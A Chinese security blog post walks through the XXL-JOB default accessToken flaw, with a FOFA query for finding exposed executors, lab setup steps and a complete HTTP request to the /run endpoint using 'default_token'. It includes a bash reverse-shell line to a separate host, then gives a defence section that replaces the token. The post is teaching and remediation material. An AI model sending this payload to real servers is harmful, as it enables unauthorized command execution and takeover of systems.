前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >漏洞实战(2):XXL-JOB默认密钥漏洞

漏洞实战(2):XXL-JOB默认密钥漏洞

作者头像
OneMoreThink
发布2024-10-15 11:43:38
940
发布2024-10-15 11:43:38
举报
文章被收录于专栏:用户2967688的专栏

1、原理

XXL-JOB[1]是一个分布式任务调度平台,分为调度中心和执行器两部分。

在最新的两个版本中(2022年5月21日发布的2.3.1版本、2023年5月23日发布的2.4.0版本),XXL-JOB默认启用accessToken,在调度中心与执行器之间进行调度通讯时,用于证明自己的身份。

accessToken的默认值是default_token,在调度中心的配置文件是xxl-job-admin/src/main/resources/application.properties,配置项是xxl.job.accessToken=default_token

在执行器的配置文件是xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties,配置项是xxl.job.accessToken=default_token

如果没有修改accessToken的默认值,攻击者就可以使用默认的accessToken,伪装成调度中心,与执行器进行调度通信。

通过“任务触发”的RESTful API,攻击者可以对执行器所在的服务器进行任意命令执行,从而获得执行器所在服务器的权限。

2、危害

攻击者可以对执行器所在的服务器进行任意命令执行,从而获得执行器所在服务器的权限。

3、攻击

3.1、搜索服务

FOFA[2]:body="{"code":500,"msg":"invalid request, HttpMethod not support."}" && port="9999"

3.2、部署服务

3.2.1、安装Java

代码语言:javascript
复制
### 下载:https://www.oracle.com/java/technologies/downloads/
wget https://download.oracle.com/java/21/latest/jdk-21_linux-x64_bin.tar.gz

### 解压
tar -zxvf jdk-21_linux-x64_bin.tar.gz -C /usr/local/

### 配置环境变量
vim /etc/profile
    export JAVA_HOME=/usr/local/jdk-21.0.2
    export JRE_HOME=${JAVA_HOME}/jre
    export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
    export PATH=${JAVA_HOME}/bin:$PATH
source /etc/profile    # 生效
ln -s /usr/local/jdk-21.0.2/bin/java /usr/bin/java    # 软链接

### 检查
java -version

3.2.2、安装Maven

代码语言:javascript
复制
### 下载:https://maven.apache.org/download.cgi
wget https://dlcdn.apache.org/maven/maven-3/3.9.6/binaries/apache-maven-3.9.6-bin.tar.gz


### 解压
tar -zxvf apache-maven-3.8.1-bin.tar.gz -C /usr/local/

### 配置环境变量
vim /etc/profile
    export MAVEN_HOME=/usr/local/apache-maven-3.8.1
    export PATH=${MAVEN_HOME}/bin:${PATH}
source /etc/profile    # 生效

### 检查
mvn -v

3.2.3、安装XXL-JOB

代码语言:javascript
复制
### 下载:https://github.com/xuxueli/xxl-job
wget https://github.com/xuxueli/xxl-job/archive/refs/tags/2.4.0.tar.gz

### 解压
tar -zxvf xxl-job-2.4.0.tar.gz -C /usr/local/

### 初始化数据库
mysql -u root -p
    source /usr/local/xxl-job-2.4.0/doc/db/tables_xxl_job.sql
exit

### 连接数据库的配置
vim /usr/local/xxl-job-2.4.0/xxl-job-admin/src/main/resources/application.properties
    spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai
    spring.datasource.username=root    # 你的数据库帐号
    spring.datasource.password=root_pwd    # 你的数据库密码
:wq

### 打包
cd /usr/local/xxl-job-2.4.0
mvn clean package

### 部署调度中心和执行器
cd /usr/local/xxl-job-2.4.0
java -jar xxl-job-admin/target/xxl-job-admin-2.4.0.jar
java -jar xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.4.0.jar

### 开通调度中心和执行器的防火墙策略
firewall-cmd --add-port=8080/tcp --permanent
firewall-cmd --add-port=9999/tcp --permanent
firewall-cmd --reload

3.3、利用漏洞

参考官方的“任务触发”的RESTful API:

第15行,executorBlockStrategy,任务阻塞策略,可选值参考ExecutorBlockStrategyEnum[3]:COVER_EARLY、DISCARD_LATER 、SERIAL_EXECUTION。

第19行,glueType,任务模式,可选值参考GlueTypeEnum[4]:BEAN、GLUE_GROOVY、GLUE_NODEJS、GLUE_PHP、GLUE_POWERSHELL、GLUE_PYTHON、GLUE_SHELL。

第18行、第21行,logDateTime、glueUpdatetime,本次调度日志时间、GLUE脚本更新时间,可在Linux中使用命令date +%s生成。

最终构造漏洞探测POC:

代码语言:javascript
复制
POST /run HTTP/1.1
Host: 10.58.81.34:9999
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 326

{
"jobId":1,
"executorHandler":"demoJobHandler",
"executorParams":"demoJobHandler",
"executorBlockStrategy":"COVER_EARLY",
"executorTimeout":0,
"logId":1,
"logDateTime":1710864010,
"glueType":"GLUE_SHELL",
"glueSource":"ping infpna.dnslog.cn",
"glueUpdatetime":1710864010,
"broadcastIndex":0,
"broadcastTotal":0
}

构造漏洞利用EXP:

代码语言:javascript
复制
"glueSource":"bash -i >& /dev/tcp/10.58.81.108/4444 0>&1",

4、防御

修改accessToken的默认值,调度中心和执行器的值需保持一致,例如将accessToken修改为cGqJjTqH2VMB2R1:

代码语言:javascript
复制
sed -i 's/default_token/cGqJjTqH2VMB2R1/g' /usr/local/xxl-job-2.4.0/xxl-job-admin/src/main/resources/application.properties

sed -i 's/default_token/cGqJjTqH2VMB2R1/g' /usr/local/xxl-job-2.4.0/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties

然后重新打包与部署:

代码语言:javascript
复制
### 打包
cd /usr/local/xxl-job-2.4.0
mvn clean package

### 部署调度中心和执行器
cd /usr/local/xxl-job-2.4.0
java -jar xxl-job-admin/target/xxl-job-admin-2.4.0.jar
java -jar xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.4.0.jar

最后再次使用默认密钥进行任意代码执行,发现报错The access token is wrong.,成功修复漏洞。

参考资料

[1]

XXL-JOB: https://www.xuxueli.com/xxl-job/

[2]

FOFA: https://fofa.info

[3]

ExecutorBlockStrategyEnum: https://apidoc.gitee.com/xuxueli0323/xxl-job/com/xxl/job/core/enums/ExecutorBlockStrategyEnum.html

[4]

GlueTypeEnum: https://apidoc.gitee.com/xuxueli0323/xxl-job/com/xxl/job/core/glue/GlueTypeEnum.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-03-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 OneMoreThink 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、原理
  • 2、危害
  • 3、攻击
    • 3.1、搜索服务
      • 3.2、部署服务
        • 3.2.1、安装Java
          • 3.2.2、安装Maven
            • 3.2.3、安装XXL-JOB
              • 3.3、利用漏洞
              • 4、防御
                • 参考资料
                相关产品与服务
                数据库
                云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档